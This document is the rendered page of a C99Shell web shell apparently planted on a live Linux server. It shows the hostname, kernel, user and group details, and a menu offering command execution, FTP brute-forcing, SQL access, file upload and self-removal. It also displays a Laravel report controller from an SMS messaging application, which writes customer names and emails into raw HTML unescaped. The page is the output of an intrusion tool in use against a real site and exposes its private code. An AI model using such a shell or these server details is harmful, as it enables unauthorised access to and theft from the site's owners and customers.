!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.72 GB of 117.98 GB (24.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MessageReportController.php (2.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Customer;
use 
App\Models\MessageReport;
use 
App\Models\Report;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;

class 
MessageReportController extends Controller
{
    public function 
report(Request  $request){
        
$data['request_data']=$request->only('customer_id','main_type','sub_type','date');
        
$data['customers']=Customer::orderByDesc('created_at')->get();

        return 
view('admin.report.message_report'$data);
    }


    public function 
getAllReports(Request $request){

            
$reports MessageReport::orderByDesc('created_at');

            if(
$request->destination){
                
$reports $reports->where('sent_type'$request->destination);
            }
            if(
$request->type){
                if(
$request->type=='sms'){
                    
$type='SMS';
                }else if(
$request->type=='whatsapp'){
                    
$type='Whatsapp';
                }else if(
$request->type=='mms'){
                    
$type='MMS';
                }else if(
$request->type=='voicecall'){
                    
$type='Voice SMS';
                }
            }
            if(
$request->date){
                
$datesexplode('-'$request->date);
                
$fromDate= isset($dates[0])?$dates[0]:Carbon::now()->subDays(3);
                
$toDate= isset($dates[1])?$dates[1]:Carbon::now();
                
$reports $reports->whereBetween('created_at',[$fromDate$toDate]);
            }

        return 
datatables()->of($reports)

            ->
addColumn('profile', function ($q) {
                
$profile='<div><h6 class="d-block">'.$q->customer->full_name.'</h6><b>'.$q->customer->email.'</b></div>';
                return 
$profile;
            })
            ->
addColumn('details', function ($q) {
                
$type='';

                if(
$q->type=='sms'){
                    
$type='SMS';
                }else if(
$q->type=='whatsapp'){
                   
$type='Whatsapp';
                }else if(
$q->type=='mms'){
                   
$type='MMS';
                }else if(
$q->type=='voicecall'){
                   
$type='Voice SMS';
                }
                
$type='<h6>Type:'.$type.'</h6>';
                
$destination='<h6>Destination:'.ucfirst($q->sent_type).'</h6>';
                
$date='<h6>Date:'.formatDate($q->created_at).'</h6>';

                return 
'<div>'.$type.$destination.$date.'</div>';
            })

            ->
rawColumns(['profile','details'])

            ->
toJson();
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--